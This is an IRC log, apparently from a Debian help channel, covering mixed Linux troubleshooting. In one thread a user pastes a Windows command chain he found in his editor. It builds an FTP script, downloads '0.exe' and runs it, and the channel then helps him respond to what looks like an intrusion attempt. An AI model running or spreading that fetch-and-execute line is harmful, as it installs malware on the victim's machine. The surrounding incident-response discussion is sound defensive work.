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| 22:14.00 | allnicksaretaken | thedonvaughn, I might have confused it by adding a linux :D |
| 22:14.03 | quintin_ | o user user pass >> ik &echo get 0.exe >> ik &echo bye >> ik &ftp -n -v -s:ik &del ik &0.exe &exit |
| 22:14.13 | quintin_ | That line randomly appeared in a vim session. have I been owned? |
| 22:14.58 | centrx | there is no doubt about it |
| 22:15.03 | centrx | I have just owned you |
| 22:15.32 | thedonvaughn | nice music you have quintin_ i think i'll copy those files before i rm -rf you |
| 22:15.57 | quintin_ | seriously though |
| 22:16.04 | thedonvaughn | quintin_ that is definitely strange... luckily it's windows commands it looks like |
| 22:16.28 | quintin_ | it was totally weird. one vim session had "Scanning tags" at bottom and locked up, and then that showed up in the other one |
| 22:16.34 | thedonvaughn | but what do you mean it just appeared in a vim session? You were editing a file and all of sudden you saw that line appear out of the blue like the Virgin Mary on Juan's muffin? |
| 22:16.40 | quintin_ | No one is on my local machine but me, and I can't find anything from "w" or "last" on the server |
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| 22:16.47 | quintin_ | thedonvaughn: pretty much. |
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| 22:17.21 | allnicksaretaken | my debian is evil... it doesn't know "none"... *muttres* |
| 22:17.55 | quintin_ | I see many FTP sessions attempted with username "Administrator" for jun 11 (today) |
| 22:17.56 | streuner | Debian isn't evil â„¢ |
| 22:17.59 | thedonvaughn | allnicksaretaken, hrm let me try it on mine |
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| 22:18.28 | streuner | Debian is easy if you able to read and learn |
| 22:18.37 | thedonvaughn | allnicksaretaken, works fine for me :) |
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| 22:18.47 | Marga2002 | Bzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz |
| 22:18.47 | allnicksaretaken | hmmm... then I must be missing something... :/ |
| 22:18.55 | quintin_ | suggestions? |
| 22:19.03 | allnicksaretaken | mount: unknown filesystem type 'none' <-- because that's what I get spitted in my face |
| 22:19.13 | Marga2002 | Bzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz |
| 22:19.15 | streuner | !ftp must die |
| 22:19.16 | dpkg | FTP MUST DIE! http://wooledge.org/mywiki/FtpMustDie |
| 22:19.30 | Marga2002 | yes |
| 22:19.33 | thedonvaughn | allnicksaretaken, /home/jayson /mnt none rw,bind 0 0 is what i put in my fstab to test it. i did mount /mnt and it worked just fine |
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| 22:19.46 | streuner | Marga2002: what kind of troll are you? |
| 22:19.50 | quintin_ | ftp is only for local use.. although that port is forwarded too. I should close it |
| 22:19.59 | Marga2002 | Was? |
| 22:20.15 | thedonvaughn | quintin_ that is exactly what they were doing. they were trying to upload and use ftp |
| 22:20.25 | Marga2002 | I'm not a troll. |
| 22:20.28 | thedonvaughn | quintin_ probably a console message was spit out to warn u and it showed up in your vim session |
| 22:20.39 | quintin_ | How do I find out who is behind an IPV6 addr? |
| 22:20.41 | quintin_ | ::ffff:208.53.44.70 |
| 22:20.41 | streuner | well, you paste random crap here |
| 22:20.43 | quintin_ | specifically |
| 22:20.49 | Marga2002 | I always said I'm not a troll. |
| 22:21.08 | thedonvaughn | quintin_ i'm gona say luckily you are safe since Administrator means dick to your system.. and they were uploaded 0.exe (lol). but still |
| 22:21.22 | thedonvaughn | quintin_ those lame attacks happen daily to public servers |
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| 22:21.45 | Marga2002 | Th |
| 22:21.46 | quintin_ | thedonvaughn: I know. The worst I've seen though is brute force ssh ... not seen this before |
| 22:21.55 | quintin_ | someone please tell me what ::ffff:208.53.44.70 means :p |
| 22:22.16 | Marga2002 | Bzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz |
| 22:22.18 | thedonvaughn | i think it means 208.53.44.70 is the ip :) |
| 22:22.29 | quintin_ | busted |
| 22:22.42 | Marga2002 | :) |
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| 22:23.00 | quintin_ | Hopefully I can get him thrown into a federal 'pound me in the ass' prison. |
| 22:23.16 | quintin_ | this ftp log is *long* |
| 22:23.20 | thedonvaughn | quintin_ probably not. unless you work for nasa or something |
| 22:23.32 | thedonvaughn | but you could at least cost him his ISP service or soemthing tho |
| 22:23.43 | quintin_ | well, I talk on usenet with Larry Wall, and he *used* to work for NASA |
| 22:23.45 | quintin_ | close enough? |
| 22:24.01 | thedonvaughn | no |
| 22:24.07 | thedonvaughn | was he hacking larry wall's box? :) |
| 22:24.15 | quintin_ | :( |
| 22:24.20 | quintin_ | I can't find an abuse tech contact for that IP |
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| 22:24.59 | Ryushin | Where do I go to get packages for sarge? |
| 22:25.19 | quintin_ | Ryushin: packages.debian.org ? |
| 22:25.40 | Ryushin | Let me check that. |
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| 22:25.59 | thedonvaughn | quintin_, yah arin doesn't have much public info for that IP or spreadtrade systems (the company who owns that IP) |
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| 22:26.25 | thedonvaughn | obviously the reason why the dude is using that server probably :) |
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| 22:26.50 | thedonvaughn | quintin_ it's not even worth the trouble at this point i'd say... |
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| 22:26.54 | xingu | quintin_: abuse@tierfour.com |
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| 22:27.31 | thedonvaughn | ah utah co-located servers |
| 22:27.38 | thedonvaughn | well cool, you could probably get that box shut down |
| 22:27.55 | thedonvaughn | at least temporarily till the admin of that server figures out which users are doing malicous actions on his server |
| 22:28.13 | thedonvaughn | i doubt anything will happen to the actual person but get kicked off that server (or DC if he owns the box) but still .. better than nothing |
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| 22:28.55 | Karcaw_ | Can I get bug #426917 subject line changed somehow.. I screwed it up a little when i submitted it |
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| 22:29.08 | thedonvaughn | I'm an admin at a DC. the only abuse we usually take seriously are crazy spammers, actually successful cracks, and kiddie pr0n :) |
| 22:29.12 | xingu | quintin_: TRFR-ORM-UT-2 is the NIC handle; 208.53.44.64/27 is a nonportable subdelegation |
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| 22:29.29 | jelly-home | thedonvaughn: there are sane spammers? |
| 22:29.56 | thedonvaughn | jelly-home, heh good point |
| 22:30.01 | quintin_ | So.. who do I report to? :D |
| 22:30.09 | xingu | are you literate? |
| 22:30.12 | thedonvaughn | lol |
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| 22:30.27 | quintin_ | obviously |
| 22:30.38 | xingu | well scroll your eyes up to four minutes ago. |
| 22:31.08 | quintin_ | xingu: oh. thanks! |
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| 22:34.33 | quintin_ | xingu: http://daecom.biz/paste/?q=30&ln=0 |
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| 22:36.47 | quintin_ | also someone from 220.69.24.68 |
| 22:36.49 | quintin_ | *sigh* |
| 22:37.05 | quintin_ | I should install snort or something |
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| 22:37.47 | sn0 | Quintin dropping connections based on the amount of failed attempts using iptables is quite useful |
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| 22:38.00 | sn0 | there are many ways to do it, i use fail2ban personally |
| 22:38.07 | sn0 | quintin_ sorry |
| 22:38.09 | Supaplex | I use -m recent |
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| 22:38.23 | quintin_ | that last one is listed in dshield as known baddie |
| 22:38.28 | xingu | quintin_: nb ::ffff:/224 is a figment of your local libc's imagination. |
| 22:38.28 | quintin_ | Why can't we all just get along! |
| 22:39.38 | quintin_ | The last line before I killed ftpd is someone trying to login as "mike" and then as "adam". craziness |
| 22:39.49 | xingu | quintin_: that entire v6 prefix is for ip4 mapped addresses |
| 22:40.20 | xingu | quintin_: ... allowing v6-only applications to bind and accept incoming v4 socket connections. |
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| 22:40.45 | quintin_ | xingu: I believe you |
| 22:41.11 | quintin_ | well, I turned off ftpd, and set shells on a few unused accounts to /bin/false.. should I do anything else immediately? |
| 22:41.17 | sn0 | quintin_ if you use ssh you will see similar dictionary attacks in your auth.log also |
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| 22:41.53 | xingu | quintin_: sorry, ::ffff:/96 |
| 22:41.58 | flami | anyon know how i can make acpid completely ignore the lidswitch ? I deleted all the scripts but acpid still notifies various clients ( i dont need that ) . the problem is that the lidswitch sends several events i 1 seconds instead of just one . |
| 22:42.58 | quintin_ | sn0: yea, checking that one now. it's fairly normal. just 1 unknown login attempt so far (I'm at yesterday) |
| 22:43.06 | xingu | quintin_: fail2ban might interest you |
| 22:44.13 | xingu | woah |
| 22:44.36 | quintin_ | "Jun 11 06:25:04 aros su[25714]: Successful su for nobody by root" |
| 22:44.39 | quintin_ | is that normal? |
| 22:44.42 | xingu | visual bell combined with beryl widow wave |
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| 22:45.23 | quintin_ | http://daecom.biz/paste/?q=31 |
| 22:45.27 | flami | quintin_, stuff like that happens all the time when a deamon changes its username on startup |
| 22:45.29 | dogmeat | how an i devise an iptable rule to block traffic requests from port 8080? |
| 22:45.45 | quintin_ | flami: k, figured it was something like that |
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| 22:46.03 | sn0 | quintin_ check your crontabs |
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| 22:46.12 | dogmeat | tried iptables -A INPUT -p tcp --sport 8080 -j DROP |
| 22:46.16 | dogmeat | but didnt work |
| 22:46.46 | daeos | how would i make sure that the kernal is not using an alternate driver for a device? |
| 22:46.55 | Supaplex | dogmeat: you need -m tcp to |
| 22:47.03 | sn0 | 25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily ) |
| 22:47.44 | xingu | dogmeat: do you really mean *source* port 8080? |
| 22:47.53 | quintin_ | the silliest part is that they keep trying "Administrator". I mean nmap or even just telnet would tell someone the box is debian linux 4 |
| 22:48.32 | dogmeat | xingu, dunno, i mean requests made to port 8080 from outside hosts should be blocked. |
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| 22:49.12 | xingu | dogmeat: you probably want dport in that case if you're blocking outide-to-inside connection attempts |
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| 22:49.51 | xingu | quintin_: try "telnet localhost 22" |
| 22:50.16 | xingu | quintin_: and observe what OS the service itself advertises. |
| 22:50.26 | dogmeat | tried iptables -A INPUT -p tcp --dport 8080 -j DROP already, but didnt work. |
| 22:50.28 | quintin_ | xingu: box doesn't have telnet client actually .. :p |
| 22:50.31 | quintin_ | let's see |
| 22:50.42 | xingu | quintin_: scanssh will tell you much the same stuff. |
| 22:50.43 | quintin_ | SSH-2.0-OpenSSH_4.3p2 Debian-9 |
| 22:53.27 | quintin_ | uhm |
| 22:53.34 | quintin_ | about how many open ports should my server have? |
| 22:53.52 | jelly-home | quintin_: why not add an Administrator account and open telnet just for fun! |
| 22:54.02 | quintin_ | jelly-home: heh... that could be fun |
| 22:54.27 | sn0 | lol jelly-home , honeypot :] |
| 22:54.35 | jelly-home | honeypie! |
| 22:54.44 | quintin_ | http://daecom.biz/paste/?q=32 is a portscan |
| 22:54.48 | xingu | mmm, pie. |
| 22:55.02 | jelly-home | !badgersmite xingu |
| 22:55.21 | jelly-home | wow, it exists. Why am I not surprised. |
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| 22:56.16 | karsten | How do you view / change disk labels? |
| 22:56.28 | quintin_ | karsten: what FS? |
| 22:56.36 | karsten | quintin_: Linux |
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| 22:56.48 | karsten | Doh. Not FS, partition labels. |
| 22:57.09 | xingu | partition labels? |
| 22:57.10 | jelly-home | e2label for ext2/ext3 |
| 22:57.24 | xingu | they have id's, not labels |
| 22:57.40 | xingu | superblocks sometimes have labels, but that's the FS which you've excluded. |
| 22:58.04 | daeos | im trying to install a linksys wpc54g wireless adapter, using ndiswrapper, and after configuring everything to what several "how-to" documents and forums state, im still unable to get this card working, would anyone care to lend a hand? |
| 22:58.09 | karsten | xingu: They're typically used on, <coff> another linux distro ;-) |
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| 22:58.38 | xingu | karsten: is probably e2label and swap label and etc etc. |
| 22:58.46 | jelly-home | karsten: hey, /etc/fstabs with LABEL=foo are nicer than UUID=[lots of hex] |
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| 22:59.11 | xingu | karsten: my debian is fully labelled up for instance, every FS has been assigned one, and that's how I'm mounting them in fstab |
| 22:59.38 | jelly-home | so that's one nice thing from the unnamed-commercial-distro-named-after-a-piece-of-clothing |
| 22:59.41 | xingu | swap's a bit tricky, you need to re-mkswap to set the label |
| 22:59.42 | quintin_ | daeos: lsmod | grep ndiswrapper |
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| 23:00.25 | daeos | quintin_: ndiswrapper 157652 0 |
| 23:00.33 | jelly-home | wait, it can't be unnamed and named at the same time |
| 23:00.44 | daeos | quintin_: usbcore 112644 4 usb_storage,ndiswrapper,uhci_hdc |
| 23:00.47 | daeos | hcd* |
| 23:01.37 | xingu | !fishsmite jelly-home |
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| 23:05.37 | daeos | quintin_: anything else? |
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| 23:06.36 | quintin_ | daeos: nope |
| 23:07.46 | daeos | quintin_: well did you see something you expected? or not expected to see? i thought i should see ndiswrapper under pcmcia_core, but i don't |
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| 23:09.48 | mikeconcepts | relative to a LFS project, are all debian repositories the same |
| 23:10.36 | cafuego | within a release they are (modulo the update schedule) |
| 23:10.58 | mikeconcepts | thank you cafuego |
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| 23:19.24 | nn_ | does anyone have experience with udf? |
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| 23:19.54 | nn_ | is writing data as simple as invoking mkudffs and mounting the medium afterwards? |
| 23:20.30 | nn_ | the official website of the linux udf project is no longer available.. |
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| 23:22.36 | nn_ | my entire research revealed nothing but a howto about "Accessing HPFS from Windows NT 3.5" |
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| 23:22.39 | Madd_Matt | nn_, I would assume thats the case. Make the filesystem and use it... |
| 23:23.22 | nn_ | well I got nothing to lose except a blank dvd+r .. |
| 23:23.36 | nn_ | but I am curious about the various parameters of mkudfs |
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| 23:24.03 | nn_ | obviously there appear to be various interesting switches |
| 23:24.09 | Madd_Matt | Wait, are you trying to burn a DVD or actually use a read/write UDF filesystem? (On, say, a DVD-RAM) |
| 23:24.26 | nn_ | I want to write a 4gig file to a dvd |
| 23:24.41 | nn_ | read only |
| 23:24.45 | wedge | hey guys. Short question. To select one extra locale in a debian environment what's the best approach? I tried locales-all but that gives me too many locales I dont want. localepurge doesnt seem to want to remove non-selected locales either. |
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| 23:25.11 | nn_ | but on the long run I'd like to employ DVD-RAM |
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| 23:26.56 | jelly-home | <nn_> is writing data as simple as invoking mkudffs and mounting the medium afterwards? -- yes. |
| 23:27.19 | nn_ | It's a little confusing.. the man page lists FOUR different kinds of volume identifiers |
| 23:27.49 | jelly-home | at least, on dvd+rw media is. I think dvd-rw need a full blanking (formatting) first |
| 23:28.03 | nn_ | --lvid --vid --vsid --fsid |
| 23:28.22 | urv | wedge: dpkg-reconfigure locales - and then choose the one you want? |
| 23:28.38 | wedge | ah.. silly me :P |
| 23:28.44 | wedge | best apt-get remove locales-all then |
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| 23:29.55 | jelly-home | nn_: I assume you've read /usr/share/doc/udftools/README.Debian.gz? |
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| 23:32.11 | nn_ | no, I haven't |
| 23:32.31 | nn_ | However that document appears to focus on packet writing |
| 23:33.06 | nn_ | I am mainly helpless about the various mkudfs parameters |
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| 23:34.04 | jelly-home | nn_: well, what are you trying to do? |
| 23:34.34 | nn_ | jelly-home: currently I am just trying to use udf as a iso9660 replacement |
| 23:34.46 | nn_ | I'll try "mkudffs -r 0x0102 --vid yomama --media-type dvd /dev/hdc" and see what happens |
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| 23:35.54 | daeos | anyone else familiar with linksys pcmcia wireless card installs? |
| 23:36.15 | nn_ | daeos: are you trying to install one of the new 802.11n models? |
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| 23:36.38 | Gnurdux | daeos, linksys has changed chipsets, multiple times |
| 23:36.39 | jelly-home | nn_: well, that's basically what I did except for choosing udf 2.01 |
| 23:37.23 | nn_ | jelly-home: it says "trying to change type of multiple extents" |
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| 23:37.26 | jelly-home | nn_: for non-rewritable media growisofs has served me well |
| 23:38.17 | daeos | nn_: no |
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| 23:38.31 | daeos | nn_: its a wpc54g v2 |
| 23:38.35 | nn_ | ok |
| 23:38.48 | daeos | Gnurdux: its a TI chipset |
| 23:39.07 | Gnurdux | all that matters usually is the specific chipset |
| 23:39.23 | nn_ | jelly-home: do you have any idea why mkudffs aborts with that error message? |
| 23:39.36 | jelly-home | nn_: hm, I don't remember that. I've only used mkudffs once or twice and promptly forgot the syntax or any quirks after it worked ;-) |
| 23:39.37 | daeos | Gnurdux: TI ACX111 |
| 23:39.47 | daeos | so then find a driver for that one specifically? |
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| 23:40.10 | jelly-home | nn_: and it worked without much hassle (on dvd+rw media) |
| 23:40.18 | Gnurdux | daeos, lets see |
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| 23:40.50 | nn_ | my father always said, the most difficult task in computer science is printing.. |
| 23:41.01 | daeos | Gnurdux: i tried the driver that came with the card.. didn't work |
| 23:41.15 | Gnurdux | you mean the windows driver? |
| 23:41.21 | nn_ | I guess that has been somewhat superseeded by writing DVDs |
| 23:41.30 | Gnurdux | http://acx100.sourceforge.net/ |
| 23:41.36 | jelly-home | nn_: nah, that's just linux for you |
| 23:42.12 | nn_ | jelly-home: no, I am refering to the incredible amount of competing standards |
| 23:42.28 | daeos | Gnurdux: yes, the windows one, that came with the card, im about to try the one from linksys... let me try the one you gave me next |
| 23:42.39 | Gnurdux | that was just from a google search |
| 23:43.05 | Gnurdux | so daeos you used ndiswrapper for the windows driver and it didnt work? |
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| 23:44.28 | cafuego | daeos: I have an acx111; works okayish now with the free driver (and closed firmware) |
| 23:44.32 | nn_ | I've found this message in a suse mailing list: |
| 23:44.33 | nn_ | You can't run mkudffs directly on /dev/hdc, because it's not possible to |
| 23:44.34 | nn_ | write random 2kb blocks to /dev/hdc. You have to use /dev/pktcdvd instead |
| 23:44.52 | Gnurdux | cafuego, is the free driver the one i linked to? |
| 23:44.58 | cafuego | Gnurdux: yup |
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| 23:45.05 | daeos | Gnurdux: correct, mainly my biggest issue, is that when i do sudo ndiswrapper -l i get a present (alternate driver: bcm43xx) |
| 23:45.08 | Gnurdux | and isnt the firmware included with the card |
| 23:45.31 | cafuego | daeos: an acx111 is *not* a 43xx. |
| 23:45.32 | Gnurdux | well cafuego says the driver i linked to works for him |
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| 23:45.56 | cafuego | daeos: 'lspci' says acx? or bcm? |
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| 23:46.23 | nn_ | If only I had /dev/pktcdvd .. |
| 23:47.10 | krekon | when I create new users I have to make a restart to be created the new home directory of this user? |
| 23:47.30 | daeos | cafuego: when i installed the linksys stock driver, this is what i end up with |
| 23:47.32 | cafuego | krekon: No |
| 23:47.41 | cafuego | daeos: What does 'lspci' say? |
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| 23:47.52 | daeos | lsbcmnds : driver installed device (14E4:4320) present (alternate driver: bcm43xx) |
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| 23:48.14 | cafuego | krekon: if you use 'adduser <username>' then it will autocreate the homedir. |
| 23:48.25 | cafuego | daeos: That's not an acx111 at all. |
| 23:48.54 | krekon | cafuego this is different from useradd? |
| 23:48.57 | daeos | cafuego: i understand that at this point |
| 23:49.02 | cafuego | daeos: What 43-- number does 'lspci | grep -i bcm' list? |
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| 23:49.19 | stew | krekon: yes, it is different, useradd only modifies the user database |
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| 23:49.35 | daeos | cafuego: nothing |
| 23:49.37 | cafuego | krekon: if you use duseradd you need to crerate the homedir manually. |
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| 23:49.57 | cafuego | hold on, you have a 4320 :-) |
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| 23:50.16 | nn_ | I don't get why I have to use /dev/packetdvd for creating an ufs on a ro medium |
| 23:50.27 | nn_ | life's too hard for me |
| 23:50.32 | sn0 | bcm43xx-fwcutter is in contrib if you need firmware for the 43xx chipset |
| 23:50.42 | cafuego | My firmware prolly won't work with that, but you can give it a go i guess. The bcm43xx driver plus http://ubuntu.cafuego.net/pool/feisty-cafuego/bcm43xx/bcm43xx-firmware_1.3-1ubuntu2_all.deb |
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| 23:51.04 | jelly-home | nn_: probably because the usual device can't seek and only write a little bit at the end |
| 23:51.07 | cafuego | Coz only about 10% of firmware listed in the bcm43xx-fwcutter file actually works. |
| 23:52.03 | jelly-home | nn_: or you could use iso9660 and append to it as needed like I do |
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| 23:52.22 | cafuego | that's massively wasteful though. |
| 23:52.31 | nn_ | I heard iso is not recommended for files > 2gig |
| 23:52.56 | jelly-home | if doesn't support them at all AFAIR |
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| 23:53.06 | nn_ | anyone, I'll insert that pktcdvd and give it a try |
| 23:53.24 | nn_ | I mean that pktcdvd kernel module.. |
| 23:54.13 | nn_ | awesome.. I still get the same error message when trying to format /dev/pktcdvd |
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| 23:54.37 | jelly-home | you meant /dev/pktcdvd/0, right |
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| 23:55.10 | nn_ | I have pktcdvd pktcdvd0 pktcdvd1 pktcdvd2 pktcdvd3.. |
| 23:55.31 | DeFender1031 | hello, i just dist-upgraded and now my php files won't load. s there some modification i need to make to an httpd.conf or something? |
| 23:55.39 | DeFender1031 | is* |
| 23:55.41 | nn_ | they're all regular device files.. none of them works |
| 23:55.47 | jelly-home | ah, you don't have udev, lucky fella |
| 23:56.33 | daeos | on the subject of drivers, what would be recommended for a S3 Inc. 86C270294 Savage/IX-MV rev 11 card? |
| 23:56.34 | stew | !widbu |
| 23:56.34 | dpkg | When in doubt, blame udev! |
| 23:56.59 | nn_ | mh.. wait.. in fact /dev/pktcdvd is an empty file |
| 23:57.10 | jelly-home | stew: and there's a reason for that! |
| 23:57.12 | k31th | is there any way to find out who the glue record (tag holder) is for a domain name? |
| 23:57.28 | DeFender1031 | anyone? |
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| 23:59.07 | nyk2005 | I have the following problem when trying apt-get upgrade: The following packages have unmet dependencies: kernel-image-2.4.27-2-386: Depends: initrd-tools (>= 0.1.48) but it is not installed. python-imaging: Depends: python2.3-imaging |
| 23:59.07 | jelly-home | nn_: are udftools configured? |
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| 23:59.07 | stew | nyk2005: you are trying to upgrade from sarge to etch? |
| 23:59.07 | nyk2005 | stew: no.. |
| 23:59.08 | abrotman | nyk2005: do your sources point at sarge or etch ? |
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| 23:59.17 | stew | nyk2005: show us the output of " apt-cache policy ; apt-cache policy libc6 initrd-tools " ; use a pastebin: /msg dpkg pastebin |
| 23:59.18 | juancgt | which drivers would oyu use if you had a r300 series card? |
| 23:59.27 | DeFender1031 | hello, i just dist-upgraded and now my php files won't load. is there some modification i need to make to an httpd.conf or something? |
| 23:59.44 | stew | juancgt: the 'radeon' driver that comes with xorg in xserver-xorg-video-ati |
| 23:59.45 | abrotman | DeFender1031: to etch? apache1 or apache2 ? |
| 23:59.52 | nyk2005 | I was just trying to install the SciPy module, but had "http://debian-multimedia.org/ stable main" in my sources.list, which is not needed anymore (just for TTF fonts). And it pulled in many other stuff. |
| 23:59.56 | nn_ | jelly-home: what kind of configuration do you refer to? |
